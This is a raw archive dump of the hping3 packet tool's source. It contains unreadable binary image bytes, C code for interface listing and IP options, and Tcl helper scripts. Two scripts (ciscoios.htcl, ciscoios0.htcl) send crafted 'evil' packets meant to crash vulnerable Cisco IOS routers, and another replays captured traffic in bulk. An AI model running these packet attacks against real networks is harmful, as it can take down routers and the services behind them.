xçÜÃÈ«häx…xŽH”Ñe£áàWÇ” ×9Â8‹âFÐm|:šÖxgˆ€ÑIš2B”e`‚òã±ß[:Þ»ëwÇU{gõ?Vôök§²X P·Ìâr§.rrMn™ Y-^hDòºefU`˜GDÕéà§Ï'qó¬‚ÀJMv#=±»Í0ÜQÁ+œ¯"©±Žo%k¤z8 r(Gvsã4xqãÇ1bE£E‹CxÑÀƈã€M`‚‰­„6´ccZÆ5ˆ‰ö̵o†a-ÈÅ qÿÆŠœ¿N·úkIä2I wp>œ˜~ê˜Æ25x¦1ŒR˜Æ1JcÅ)Œc¦1ŒR˜Æ1JcÅ)õßк?];NÕ¨q¯#ØiøçbÄÙõýOcŸKf8ôCbÙÀ‡"ÍxåD”ƒsÝÑ|1¨ŒâM¿-ç"ñ^Ê•ISºR†ÈBiR$–ªŠd'½œàÌ{{¢?äò…&#ˆÖñÞö1RÝê|Ïã–ÈKä´w1Ü©ù9%ŒÆN¬¬ÀèüJ éI#*ø=â•ç„]W?TXâírÓO‡»Ã›{É%Ž8’îæÆäÜ)‡âgF²Tà~IøÁk˜;ô^qjª·ù†8NW¾õ®TVª¤êß¡{*}4ÊÚäkØïÓ a­#äÇ_ÜÎO©ý/?/Ÿÿuóí½¥_nþ°½9‡Ðô w–@ã ˜@]€h5Þ¹¿þd9§þ¡r7þUÛû\~d9§þ¡r7þUÛû\éùÊøQ­FŽÃ¨j{”ž-jvDDkh[Ù²"*"|>âvÏÚt[ˆ¿¨î—÷Ô¿ùP¢ÿóÏŸÜÎOÕü¤gù¿/þ½Ï¿«¿øsÿžË|¸ÿŸö»í®oÕ\oÎû „jjî>ß‹6sž02Uít!‰æs‹6Õ‘k£µŒŸç.@ÇݨÞêåkW,8§Ók¹\2mM­Bù¤­ÝËn ”.Hæ -{d\ÐÌ…›˜_lÄ®4w{Žžìø6$†˜ôSlÆß¦$éQGÿ_œêØò“àŠß™%Ÿ/üï6òj|MÆú:±ú¶›ITa‘ MвæGzÚO’ÍžùRâ·ÛîÕsj®s•ªç¹V¡cá¼q0iÌZåÜ;–ÐÒë÷¸QëDi¦PGb­Y½[í¥âNzÜÚâÓ€Fˆ+Ïi ··œöÜŒW)¦†*P-*²sY¾. î‹=ãëM¯¸›D”5Ò›ë¦Å°vso°TžÒ˜c$Áˆ¥j˜ÔÚùÎÄW¶4ŽÒ"Î.â;ˆuk}{cFj1Òæ¢YÖU‚t¢ˆbo·nQÅŽ60AkˆOÉ‘*D‹‘ŒÈ8Ü-ž1WÊPÒªñTTi„Q/Ão™œ‚Ar«T3C—ê+Ùò{û»û»—ó'¹¼¹–êæví£4ó3I'«°ˆ„ESÆUê‰Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥1Œb”Æ1ŠSÆ)Lc¥ÿÙhping3-3.a2.ds2/img/hping_icon.jpg000066400000000000000000000012501021454026700167700ustar00rootroot00000000000000ÿØÿàJFIFHHÿþCreated with The GIMPÿÛCÿÛCÿÀ"ÿÄ ÿÄ ÿÄÿÄ#ÿÚ ?¯úK¯þœr'uw­7™Ò<úÃÜÕº0TûÜáÆ¾YÅRÕ˜nš˜Ýœòcÿ¬‹¦Œá¹“bI@ ñÊ’ Í´¥[åë«èbýe Ï?ZRžÖmI¦Í@éæåuCP‘tVÓ¤¬Œ­õEÒ+Ò>“‘s^Šƒ±¯d¨$´ôEjt±ØR2Q\R”©ãz&åÚ..˜ u_Ñd?}b{ô´0…ég¥~9£â~DЬLvïcàúmµîiòdÙôù“‚uÌæ¥WÉbÄ„zaû»V0nNœÌªŒ¯ÿÙhping3-3.a2.ds2/in.h000066400000000000000000000033231021454026700141570ustar00rootroot00000000000000/* Copyright (C) 2000,2001 Salvatore Sanfilippo */ #ifndef ARS_IPPROTO_IP #define ARS_IPPROTO_IP 0 /* Dummy protocol for TCP. */ #define ARS_IPPROTO_HOPOPTS 0 /* IPv6 Hop-by-Hop options. */ #define ARS_IPPROTO_ICMP 1 /* Internet Control Message Protocol. */ #define ARS_IPPROTO_IGMP 2 /* Internet Group Management Protocol. */ #define ARS_IPPROTO_IPIP 4 /* IPIP tunnels (older KA9Q tunnels use 94).*/ #define ARS_IPPROTO_TCP 6 /* Transmission Control Protocol. */ #define ARS_IPPROTO_EGP 8 /* Exterior Gateway Protocol. */ #define ARS_IPPROTO_IGRP 9 /* Cisco(R)'s IGRP Routing Portocol. */ #define ARS_IPPROTO_PUP 12 /* PUP protocol. */ #define ARS_IPPROTO_UDP 17 /* User Datagram Protocol. */ #define ARS_IPPROTO_IDP 22 /* XNS IDP protocol. */ #define ARS_IPPROTO_TP 29 /* SO Transport Protocol Class 4. */ #define ARS_IPPROTO_IPV6 41 /* IPv6 header. */ #define ARS_IPPROTO_ROUTING 43 /* IPv6 routing header. */ #define ARS_IPPROTO_FRAGMENT 44 /* IPv6 fragmentation header. */ #define ARS_IPPROTO_RSVP 46 /* Reservation Protocol. */ #define ARS_IPPROTO_GRE 47 /* General Routing Encapsulation. */ #define ARS_IPPROTO_ESP 50 /* encapsulating security payload. */ #define ARS_IPPROTO_AH 51 /* authentication header. */ #define ARS_IPPROTO_ICMPV6 58 /* ICMPv6. */ #define ARS_IPPROTO_NONE 59 /* IPv6 no next header. */ #define ARS_IPPROTO_DSTOPTS 60 /* IPv6 destination options. */ #define ARS_IPPROTO_MTP 92 /* Multicast Transport Protocol. */ #define ARS_IPPROTO_ENCAP 98 /* Encapsulation Header. */ #define ARS_IPPROTO_PIM 103 /* Protocol Independent Multicast. */ #define ARS_IPPROTO_COMP 108 /* Compression Header Protocol. */ #define ARS_IPPROTO_RAW 255 /* Raw IP packets. */ #endif hping3-3.a2.ds2/interface.c000066400000000000000000000220551021454026700155070ustar00rootroot00000000000000/* interfaces.c -- that's getifname.c redone with a decent API. * This fils is for now used for the TCL bindings but it * should replace getifname.c at some time. * * Note that most of the code comes from getifname.c, so the * old copyright still apply: * * Copyright(C) 1999,2000,2001 Salvatore Sanfilippo * Copyright(C) 2001 by Nicolas Jombart * This code is under the GPL license * * What changes is the API design that's now sane, the changes * are Copyright(C) 2003 Salvatore Sanfilippo. */ /* $Id: interface.c,v 1.7 2003/09/08 15:32:40 antirez Exp $ */ #ifdef USE_TCL #include /* perror */ #include #include #include #include #include /* struct sockaddr_in */ #include /* inet_ntoa */ #include #include /* close */ #if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__NetBSD__) || \ defined(__bsdi__) || defined(__APPLE__) #include #include #include #include #endif /* defined(__*BSD__) */ #if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ !defined(__linux__) && !defined(__sun__) && !defined(__bsdi__) && \ !defined(__APPLE__) #error Sorry, interface code not implemented. #endif #ifdef __sun__ #include #include #include #endif #include "hping2.h" #include "globals.h" #include "interface.h" /* This function fill the hpingif structures array poited by 'i', * able to hold up to 'ilen' elements, with details about * all the interfaces present in the system, with the UP flag set. * * The function returns the number of active interfaces found, * regardless to 'ilen'. So if the returned value is > ilen * the provided structures array was not enough to hold all * the interfaces. * * On error -1 is returned, and errno set. */ #if (defined OSTYPE_LINUX) || (defined __sun__) int hping_get_interfaces(struct hpingif *hif, int ilen) { int fd, found = 0, i; struct ifconf ifc; struct ifreq ibuf[HPING_IFACE_MAX], ifr; /* We need a socket to perform the ioctl()s */ fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd == -1) return -1; /* Setup the request structure */ memset(ibuf, 0, sizeof(struct ifreq)*HPING_IFACE_MAX); ifc.ifc_len = sizeof ibuf; ifc.ifc_buf = (caddr_t) ibuf; /* Get a list of interfaces */ if (ioctl(fd, SIOCGIFCONF, (char*)&ifc) == -1 || ifc.ifc_len < sizeof(struct ifreq)) { close(fd); return -1; } /* Walk the interfaces list, searching for UP interfaces */ for (i = 0; i < (ifc.ifc_len/sizeof(struct ifreq)); i++) { struct ifreq *this = ibuf+i; in_addr_t ifaddr, ifbaddr = 0; struct sockaddr_in *sain; int ifloopback, ifmtu, ifptp, ifpromisc, ifbroadcast, ifindex, ifnolink = 0; memset(&ifr, 0, sizeof(ifr)); /* It seems we can avoid to call the ioctl against * a bogus device with little efforts */ if (!this->ifr_name[0]) continue; strlcpy(ifr.ifr_name, this->ifr_name, HPING_IFNAME_LEN); /* Get the interface's flags */ if (ioctl(fd, SIOCGIFFLAGS, (char*)&ifr) == -1) { /* oops.. failed, continue with the next */ continue; } /* If it's DOWN we are not intersted */ if (!(ifr.ifr_flags & IFF_UP)) continue; ifloopback = (ifr.ifr_flags & IFF_LOOPBACK) != 0; ifptp = (ifr.ifr_flags & IFF_POINTOPOINT) != 0; ifpromisc = (ifr.ifr_flags & IFF_PROMISC) != 0; ifbroadcast = (ifr.ifr_flags & IFF_BROADCAST) != 0; #ifdef __sun__ ifindex = -1; #else /* Get the interface index */ if (ioctl(fd, SIOCGIFINDEX, (char*)&ifr) == -1) { /* oops.. failed, continue with the next */ continue; } ifindex = ifr.ifr_ifindex; #endif /* Get the interface address */ if (ioctl(fd, SIOCGIFADDR, (char*)&ifr) == -1) { /* oops.. failed, continue with the next */ continue; } sain = (struct sockaddr_in*) &ifr.ifr_addr; ifaddr = sain->sin_addr.s_addr; /* Get the interface broadcast address */ if (ifbroadcast) { if (ioctl(fd, SIOCGIFBRDADDR, (char*)&ifr) == -1) { /* oops.. failed, continue with the next */ continue; } sain = (struct sockaddr_in*) &ifr.ifr_broadaddr; ifbaddr = sain->sin_addr.s_addr; } /* Get the interface MTU */ if (ioctl(fd, SIOCGIFMTU, (char*)&ifr) == -1) { /* Failed... we wan't consider it fatal */ ifmtu = 1500; } else { #ifdef __sun__ /* somehow solaris is braidamaged in wrt ifr_mtu */ ifmtu = ifr.ifr_metric; #else ifmtu = ifr.ifr_mtu; #endif } #ifdef __linux__ /* Get the interface link status using MII */ { struct mii_data *mii = (struct mii_data*)&ifr.ifr_data; if (ioctl(fd, SIOCGMIIPHY, (char*)&ifr) != -1) { int bmsr; mii->reg_num = MII_BMSR; if (ioctl(fd, SIOCGMIIREG, (char*)&ifr) != -1) { bmsr = mii->val_out; ifnolink = !(bmsr & MII_BMSR_LINK_VALID); } } } #endif /* Finally populate an hpingif entry if there is room */ if (!ilen) continue; strlcpy(hif[found].hif_name, this->ifr_name, HPING_IFNAME_LEN); hif[found].hif_mtu = ifmtu; hif[found].hif_loopback = ifloopback; hif[found].hif_ptp = ifptp; hif[found].hif_broadcast = ifbroadcast; hif[found].hif_promisc = ifpromisc; hif[found].hif_addr[0] = ifaddr; hif[found].hif_baddr[0] = ifbaddr; hif[found].hif_naddr = 1; hif[found].hif_nolink = ifnolink; /* if_index should be set to -1 if the OS isn't Linux */ hif[found].hif_index = ifindex; found++; ilen--; } close(fd); return found; } #endif #if defined(__FreeBSD__) || defined(__NetBSD__) || defined(__OpenBSD__) || \ defined(__bsdi__) || defined(__APPLE__) /* I wish getifaddrs() API on linux... -- SS */ int hping_get_interfaces(struct hpingif *hif, int ilen) { int found = 0; struct ifaddrs *ifap, *ifa; struct if_data *ifdata; int ifloopback, ifptp, ifpromisc, ifbroadcast, ifnolink; /* Get the interfaces list */ if (getifaddrs(&ifap) == -1) return -1; for (ifa = ifap; ifa; ifa = ifa->ifa_next) { struct ifaddrs *ift; struct sockaddr_in *sa, *ba; int naddr = 0; /* Not interested in DOWN interfaces */ if (!(ifa->ifa_flags & IFF_UP)) continue; ifloopback = (ifa->ifa_flags & IFF_LOOPBACK) != 0; ifptp = (ifa->ifa_flags & IFF_POINTOPOINT) != 0; ifpromisc = (ifa->ifa_flags & IFF_PROMISC) != 0; ifbroadcast = (ifa->ifa_flags & IFF_BROADCAST) != 0; if (ifa->ifa_addr->sa_family != AF_LINK) continue; /* Now search for the AF_INET entry with the same name */ ift = ifa->ifa_next; for (; ift; ift = ift->ifa_next) { if (ift->ifa_addr->sa_family == AF_INET && ift->ifa_addr && !strcmp(ifa->ifa_name, ift->ifa_name)) { sa = (struct sockaddr_in*) ift->ifa_addr; ba = (struct sockaddr_in*) ift->ifa_broadaddr; if (naddr < HPING_IFADDR_MAX) { hif[found].hif_addr[naddr] = sa->sin_addr.s_addr; hif[found].hif_baddr[naddr] = ba->sin_addr.s_addr; naddr++; } } } if (!naddr) continue; /* Read the media status */ { struct ifmediareq ifmr; int s = -1; memset(&ifmr, 0, sizeof(ifmr)); strncpy(ifmr.ifm_name, ifa->ifa_name, sizeof(ifmr.ifm_name)); ifnolink = 0; s = socket(AF_INET, SOCK_DGRAM, 0); if (s != -1 && ioctl(s, SIOCGIFMEDIA, (caddr_t)&ifmr) != -1) { if (ifmr.ifm_status & IFM_AVALID) { if (!(ifmr.ifm_status & IFM_ACTIVE)) ifnolink = 1; } } if (s != -1) close(s); } /* Add the new entry and cotinue */ ifdata = (struct if_data*) ifa->ifa_data; strlcpy(hif[found].hif_name, ifa->ifa_name, HPING_IFNAME_LEN); hif[found].hif_broadcast = ifbroadcast; hif[found].hif_mtu = ifdata->ifi_mtu; hif[found].hif_loopback = ifloopback; hif[found].hif_ptp = ifptp; hif[found].hif_promisc = ifpromisc; hif[found].hif_naddr = naddr; hif[found].hif_nolink = ifnolink; /* if_index should be set to -1 if the OS isn't Linux */ hif[found].hif_index = -1; found++; ilen--; if (!ilen) break; } freeifaddrs(ifap); return found; } #endif /* __*BSD__ */ /* ------------------------------- test main -------------------------------- */ #ifdef TESTMAIN int main(void) { struct hpingif ifaces[16]; int found, i, j; found = hping_get_interfaces(ifaces, 16); printf("Found %d active interfaces:\n", found); printf("%-10.10s %-16.16s %-10.10s %-10.10s\n", "NAME", "ADDR", "MTU", "INDEX"); for (i = 0; i < found; i++) { struct in_addr ia; printf("%-10.10s %-10d %-10d", ifaces[i].hif_name, ifaces[i].hif_mtu, ifaces[i].hif_index); printf("("); for (j = 0; j < ifaces[i].hif_naddr; j++) { ia.s_addr = ifaces[i].hif_addr[j]; printf("%-16.16s ", inet_ntoa(ia)); } printf(")"); if (ifaces[i].hif_broadcast) { printf("("); for (j = 0; j < ifaces[i].hif_naddr; j++) { ia.s_addr = ifaces[i].hif_baddr[j]; printf("%-16.16s ", inet_ntoa(ia)); } printf(")"); } if (ifaces[i].hif_loopback) printf(" LOOPBACK"); if (ifaces[i].hif_ptp) printf(" POINTOPOINT"); if (ifaces[i].hif_promisc) printf(" PROMISC"); if (ifaces[i].hif_broadcast) printf(" BROADCAST"); if (ifaces[i].hif_nolink) printf(" NOLINK"); printf("\n"); } return 0; } #endif #endif /* USE_TCL */ hping3-3.a2.ds2/interface.h000066400000000000000000000056601021454026700155170ustar00rootroot00000000000000#ifndef __HPING_INTERFACE_H #define __HPING_INTERFACE_H #ifndef _LINUX_MII_H #define _LINUX_MII_H /* network interface ioctl's for MII commands */ #ifndef SIOCGMIIPHY #define SIOCGMIIPHY (SIOCDEVPRIVATE) /* Read from current PHY */ #define SIOCGMIIREG (SIOCDEVPRIVATE+1) /* Read any PHY register */ #define SIOCSMIIREG (SIOCDEVPRIVATE+2) /* Write any PHY register */ #define SIOCGPARAMS (SIOCDEVPRIVATE+3) /* Read operational parameters */ #define SIOCSPARAMS (SIOCDEVPRIVATE+4) /* Set operational parameters */ #endif /* This data structure is used for all the MII ioctl's */ struct mii_data { __u16 phy_id; __u16 reg_num; __u16 val_in; __u16 val_out; }; /* Basic Mode Control Register */ #define MII_BMCR 0x00 #define MII_BMCR_RESET 0x8000 #define MII_BMCR_LOOPBACK 0x4000 #define MII_BMCR_100MBIT 0x2000 #define MII_BMCR_AN_ENA 0x1000 #define MII_BMCR_ISOLATE 0x0400 #define MII_BMCR_RESTART 0x0200 #define MII_BMCR_DUPLEX 0x0100 #define MII_BMCR_COLTEST 0x0080 /* Basic Mode Status Register */ #define MII_BMSR 0x01 #define MII_BMSR_CAP_MASK 0xf800 #define MII_BMSR_100BASET4 0x8000 #define MII_BMSR_100BASETX_FD 0x4000 #define MII_BMSR_100BASETX_HD 0x2000 #define MII_BMSR_10BASET_FD 0x1000 #define MII_BMSR_10BASET_HD 0x0800 #define MII_BMSR_NO_PREAMBLE 0x0040 #define MII_BMSR_AN_COMPLETE 0x0020 #define MII_BMSR_REMOTE_FAULT 0x0010 #define MII_BMSR_AN_ABLE 0x0008 #define MII_BMSR_LINK_VALID 0x0004 #define MII_BMSR_JABBER 0x0002 #define MII_BMSR_EXT_CAP 0x0001 #define MII_PHY_ID1 0x02 #define MII_PHY_ID2 0x03 /* Auto-Negotiation Advertisement Register */ #define MII_ANAR 0x04 /* Auto-Negotiation Link Partner Ability Register */ #define MII_ANLPAR 0x05 #define MII_AN_NEXT_PAGE 0x8000 #define MII_AN_ACK 0x4000 #define MII_AN_REMOTE_FAULT 0x2000 #define MII_AN_ABILITY_MASK 0x07e0 #define MII_AN_FLOW_CONTROL 0x0400 #define MII_AN_100BASET4 0x0200 #define MII_AN_100BASETX_FD 0x0100 #define MII_AN_100BASETX_HD 0x0080 #define MII_AN_10BASET_FD 0x0040 #define MII_AN_10BASET_HD 0x0020 #define MII_AN_PROT_MASK 0x001f #define MII_AN_PROT_802_3 0x0001 /* Auto-Negotiation Expansion Register */ #define MII_ANER 0x06 #define MII_ANER_MULT_FAULT 0x0010 #define MII_ANER_LP_NP_ABLE 0x0008 #define MII_ANER_NP_ABLE 0x0004 #define MII_ANER_PAGE_RX 0x0002 #define MII_ANER_LP_AN_ABLE 0x0001 #endif /* _LINUX_MII_H */ #define HPING_IFNAME_LEN 24 #define HPING_IFACE_MAX 64 #define HPING_IFADDR_MAX 16 /* hping interface rappresentation */ struct hpingif { char hif_name[HPING_IFNAME_LEN]; in_addr_t hif_addr[HPING_IFADDR_MAX]; /* ipv4 addresses */ in_addr_t hif_baddr[HPING_IFADDR_MAX]; /* ipv4 broadcast addresses */ int hif_naddr; int hif_loopback; int hif_ptp; int hif_promisc; int hif_broadcast; int hif_nolink; /* only set with MII-capable devices */ int hif_mtu; int hif_index; /* only useful for linux sockpacket version */ }; int hping_get_interfaces(struct hpingif *hif, int ilen); #endif hping3-3.a2.ds2/ip_opt_build.c000066400000000000000000000034051021454026700162160ustar00rootroot00000000000000/* * $smu-mark$ * $name: memunlock.c$ * $other_author: Mika * $other_copyright: Copyright (C) 1999 Mika * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 2$ */ /* $Id: ip_opt_build.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include #include #include #include "hping2.h" #include "globals.h" unsigned char ip_opt_build(char* ip_opt) { unsigned char optlen = 0; unsigned long ip; memset(ip_opt, 1, sizeof(ip_opt)); if (opt_lsrr) { if (lsr_length<=39) { memcpy(ip_opt, &lsr, lsr_length); optlen += lsr_length; } else { printf("Warning: loose source route is too long, discarding it"); opt_lsrr=0; } } if (opt_ssrr) { if (ssr_length+optlen<=39) { memcpy(ip_opt + optlen, &ssr, ssr_length); optlen += ssr_length; } else { printf("Warning: strict source route is too long, discarding it"); opt_ssrr=0; } } if (opt_rroute) { if (optlen<=33) { ip_opt[optlen]=IPOPT_RR; ip_opt[optlen+1]=39-optlen; ip_opt[optlen+2]=8; ip=inet_addr("1.2.3.4"); memcpy(ip_opt+optlen+3,&ip,4); optlen=39; } else { printf("Warning: no room for record route, discarding option\n"); opt_rroute=0; } } if (optlen) { optlen = (optlen + 3) & ~3; ip_opt[optlen-1] = 0; return optlen; } else return 0; } hping3-3.a2.ds2/lib/000077500000000000000000000000001021454026700141455ustar00rootroot00000000000000hping3-3.a2.ds2/lib/README000066400000000000000000000002021021454026700150170ustar00rootroot00000000000000Note: scripts in this directory are all under the GPL license, if not otherwise specified in the top comments of the source code. hping3-3.a2.ds2/lib/apd.htcl000066400000000000000000000001311021454026700155600ustar00rootroot00000000000000while {1} { set xx [hping recv -hexdata eth0 0 100] foreach x $xx { puts "$x\n" } } hping3-3.a2.ds2/lib/apd2.htcl000066400000000000000000000003231021454026700156450ustar00rootroot00000000000000source "hpingstdlib.htcl" proc recv {} { set xx [hping recv -hexdata eth0 0 100] foreach x $xx { if {[GetIpDaddr $x] == "192.168.1.20"} { puts "$x\n" } } after 10 recv } after 10 recv vwait forever hping3-3.a2.ds2/lib/ciscoios.htcl000066400000000000000000000067651021454026700166520ustar00rootroot00000000000000################################################################################ # # Helper functions # This will be part of the hping standard library (possibly modified) # # Return the name of the output interface for address addr proc outifname addr { set ifa [hping outifa $addr] set interfaces [hping iflist] foreach i $interfaces { if {$ifa == [lindex $i 1]} { return [lindex $i 0] } } error "Unable to find the output interface name for $addr" } proc GetApdField {protocol field packet} { set re "$protocol\\(.*?$field=(.*?)\[,\\)\].*?\\)" if [regexp $re $packet match value] { return $value } else { return {} } } proc GetIpSaddr packet { return [GetApdField ip saddr $packet] } proc GetIpDaddr packet { return [GetApdField ip daddr $packet] } proc GetIpTtl packet { return [GetApdField ip ttl $packet] } proc GetTcpSport packet { return [GetApdField tcp sport $packet] } proc GetTcpDport packet { return [GetApdField tcp dport $packet] } proc GetIcmpType packet { return [GetApdField icmp type $packet ] } proc GetIcmpCode packet { return [GetApdField icmp code $packet ] } proc GetIcmpId packet { return [GetApdField icmp id $packet ] } # Return non-zero if the host addr seems awake. # This is done sending a TCP ACK packet and an ICMP echo request # and searching for at least a reply. proc isawake addr { set addr [hping resolve $addr] set ifname [outifname $addr] set ifaddr [hping outifa $addr] hping recv eth0 0 set ip "ip(saddr=$ifaddr,daddr=$addr,ttl=64)" append ack $ip "+tcp(sport=11005,dport=11111,flags=a)" append icmp $ip "+icmp(type=8,code=8,id=11111)" hping send $ack hping send $icmp for {set i 0} {$i < 10} {incr i} { set packets [hping recv $ifname 100 0] foreach p $packets { if {([GetIpSaddr $p] == $addr) && (([GetIcmpId $p] == 11111) || ([GetTcpSport $p] == 11111))} { return 1; } } } return 0; } # # End of the hping standard library # ################################################################################ # # Start # if {[llength $argv] == 0} { puts "Usage: hping exec countops.htcl targethost" } set target [hping resolve [lindex $argv 0]] puts "Target IP: $target" set outif [outifname $target] puts "Output Interface: $outif" set outifa [hping outifa $target] puts "Output Interface address: $outifa" # # Initialize the interface in reception # hping recv eth0 0 # # Send an ACK packet to port 11111 # The script use the RST reply to guess the Hops distance # set ack "ip(saddr=$outifa,daddr=$target,ttl=64)+" append ack "tcp(sport=11005,dport=11111,flags=a)" puts "sending the ACK packet..." hping send $ack # # Wait up to 3 seconds for incoming packets # Note that timeout is in milliseconds # set ttl {} for {set i 0} {$i < 30} {incr i} { set packets [hping recv $outif 100 0] foreach p $packets { if {[string match "*saddr=$target*" $p]} { set ttl [GetIpTtl $p] set i 30 break } } } if {$ttl == {}} { puts "Sorry, no response back from $target" exit 1 } set hops [expr 32-($ttl%32)] puts "Hops distance appears to be: $hops" # # Ready to test the CISCO problem # incr hops -1 foreach protocol {53 55 77 104} { puts "Sending evil packet with protocol $protocol" set evil "ip(saddr=$outifa,daddr=$target,ttl=$hops,proto=$protocol)+" append evil "data(str=01234567890123456789123456)" #hping send $evil } # # Test if the host is still awake # puts "Waiting for 3 seconds..." after 3000 if [isawake $target] { puts "The host appears to be still alive" } else { puts "The host appears to be down: vulnerable router?" } hping3-3.a2.ds2/lib/ciscoios0.htcl000066400000000000000000000066431021454026700167250ustar00rootroot00000000000000################################################################################ # # Helper functions # This will be part of the hping standard library (possibly modified) # # Return the name of the output interface for address addr proc outifname addr { set ifa [hping outifa $addr] set interfaces [hping iflist] foreach i $interfaces { if {$ifa == [lindex $i 1]} { return [lindex $i 0] } } error "Unable to find the output interface name for $addr" } proc GetApdField {protocol field packet} { set re "$protocol\\(.*?$field=(.*?)\[,\\)\].*?\\)" if [regexp $re $packet match value] { return $value } else { return {} } } proc GetIpSaddr packet { return [GetApdField ip saddr $packet] } proc GetIpDaddr packet { return [GetApdField ip daddr $packet] } proc GetIpTtl packet { return [GetApdField ip ttl $packet] } proc GetTcpSport packet { return [GetApdField tcp sport $packet] } proc GetTcpDport packet { return [GetApdField tcp dport $packet] } proc GetIcmpType packet { return [GetApdField icmp type $packet ] } proc GetIcmpCode packet { return [GetApdField icmp code $packet ] } proc GetIcmpId packet { return [GetApdField icmp id $packet ] } # Return non-zero if the host addr seems awake. # This is done sending a TCP ACK packet and an ICMP echo request # and searching for at least a reply. proc isawake addr { set addr [hping resolve $addr] set ifname [outifname $addr] set ifaddr [hping outifa $addr] hping recv eth0 0 set ip "ip(saddr=$ifaddr,daddr=$addr,ttl=64)" append ack $ip "+tcp(sport=11005,dport=11111,flags=a)" append icmp $ip "+icmp(type=8,code=8,id=11111)" hping send $ack hping send $icmp for {set i 0} {$i < 10} {incr i} { set packets [hping recv $ifname 100 0] foreach p $packets { if {([GetIpSaddr $p] == $addr) && (([GetIcmpId $p] == 11111) || ([GetTcpSport $p] == 11111))} { return 1; } } } return 0; } # # End of the hping standard library # ################################################################################ # # Start # if {[llength $argv] == 0} { puts "Usage: hping exec countops.htcl targethost" } set target [hping resolve [lindex $argv 0]] puts "Target IP: $target" set outif [outifname $target] puts "Output Interface: $outif" set outifa [hping outifa $target] puts "Output Interface address: $outifa" # # Initialize the interface in reception # hping recv eth0 0 # # Send an ACK packet to port 11111 # set ack "ip(saddr=$outifa,daddr=$target,ttl=64)+" append ack "tcp(sport=11005,dport=11111,flags=a)" puts "sending the ACK packet..." hping send $ack # # Wait up to 3 seconds for incoming packets # Note that timeout is in milliseconds # set packets [hping recv $outif 3000 0] set ttl {} foreach p $packets { #puts "[GetIpSaddr $p] -> [GetIpDaddr $p]" if {[string match "*saddr=$target*" $p]} { #regexp {ttl=([0-9]+)} $p match ttl set ttl [GetIpTtl $p] } } if {$ttl == {}} { puts "Sorry, no response back from $target" exit 1 } set hops [expr 32-($ttl%32)] puts "Hops distance appears to be: $hops" # # Ready to test the CISCO problem # incr hops -1 foreach protocol {53 55 77 104} { puts "Sending evil packet with protocol $protocol" set evil "ip(saddr=$outifa,daddr=$target,ttl=$hops,proto=$protocol)+" append evil "data(str=01234567890123456789123456)" hping send $evil } # # Test if the host is still awake # if [isawake $target] { puts "The host appears to be still alive" } else { puts "The host appears to be down: vulnerable router?" } hping3-3.a2.ds2/lib/cloner.htcl000066400000000000000000000002361021454026700163040ustar00rootroot00000000000000while {1} { set x [hping recvraw eth0] hping sendraw [lindex $x 0] hping sendraw [lindex $x 0] hping sendraw [lindex $x 0] hping sendraw [lindex $x 0] } hping3-3.a2.ds2/lib/hpingstdlib.htcl000066400000000000000000000104641021454026700173350ustar00rootroot00000000000000################################################################################ # # Helper functions # This will be part of the hping standard library (possibly modified) # ################################################################################ # Functions related to network interface managment ################################################################################ # Return the name of the output interface for address addr proc outifname addr { set ifa [hping outifa $addr] set interfaces [hping iflist] foreach i $interfaces { foreach ia [lindex $i 2] { if {$ifa == $ia} { return [lindex $i 0] } } } error "Unable to find the output interface name for $addr" } ################################################################################ # Functions related to packets description ################################################################################ interp alias {} GetApdField {} hping getfield proc SetApdField {protocol field value pvar} { upvar $pvar p set p [hping setfield $protocol $field $value $p] } proc DelApdField {protocol field pvar} { upvar $pvar p set p [hping delfield $protocol $field $p] } interp alias {} GetIpSaddr {} hping getfield ip saddr interp alias {} GetIpDaddr {} hping getfield ip daddr interp alias {} GetIpTtl {} hping getfield ip ttl interp alias {} GetIpProto {} hping getfield ip proto interp alias {} GetTcpSport {} hping getfield tcp sport interp alias {} GetTcpDport {} hping getfield tcp dport interp alias {} GetTcpSeq {} hping getfield tcp seq interp alias {} GetTcpAck {} hping getfield tcp ack interp alias {} GetTcpTimestampVal {} hping getfield tcp.timestamp val interp alias {} GetTcpTimestampEcr {} hping getfield tcp.timestamp ecr interp alias {} GetIcmpType {} hping getfield icmp type interp alias {} GetIcmpCode {} hping getfield icmp code interp alias {} GetIcmpId {} hping getfield icmp id interp alias {} GetIcmpSeq {} hping getfield icmp seq interp alias {} GetDataHex {} hping getfield data hex # From APD to Tcl list proc apd2list apd { set list {} foreach layer [split $apd +] { set t [split $layer ()] set name [lindex $t 0] set fields [lindex $t 1] set l [list $name] foreach fieldvalue [split $fields ,] { foreach {field value} [split $fieldvalue =] break lappend l [list $field $value] } lappend list $l } return $list } # From Tcl list to APD proc list2apd list { if {![llength $list]} return foreach layer $list { append apd [lindex $layer 0] ( set layer [lrange $layer 1 end] foreach fieldvalue $layer { append apd [lindex $fieldvalue 0] = [lindex $fieldvalue 1] , } if {[llength $layer] != 0} { set apd [string range $apd 0 end-1] } append apd )+ } set apd [string range $apd 0 end-1] return $apd } ################################################################################ # High-level networking functions ################################################################################ # Return non-zero if the host addr seems awake. # This is done sending a TCP ACK packet and an ICMP echo request # and searching for at least a reply. proc isawake addr { set addr [hping resolve $addr] set ifname [outifname $addr] set ifaddr [hping outifa $addr] hping recv eth0 0 set ip "ip(saddr=$ifaddr,daddr=$addr,ttl=64)" append ack $ip "+tcp(sport=11005,dport=11111,flags=a)" append icmp $ip "+icmp(type=8,code=8,id=11111)" hping send $ack hping send $icmp for {set i 0} {$i < 10} {incr i} { set packets [hping recv $ifname 100 0] foreach p $packets { if {([GetIpSaddr $p] == $addr) && 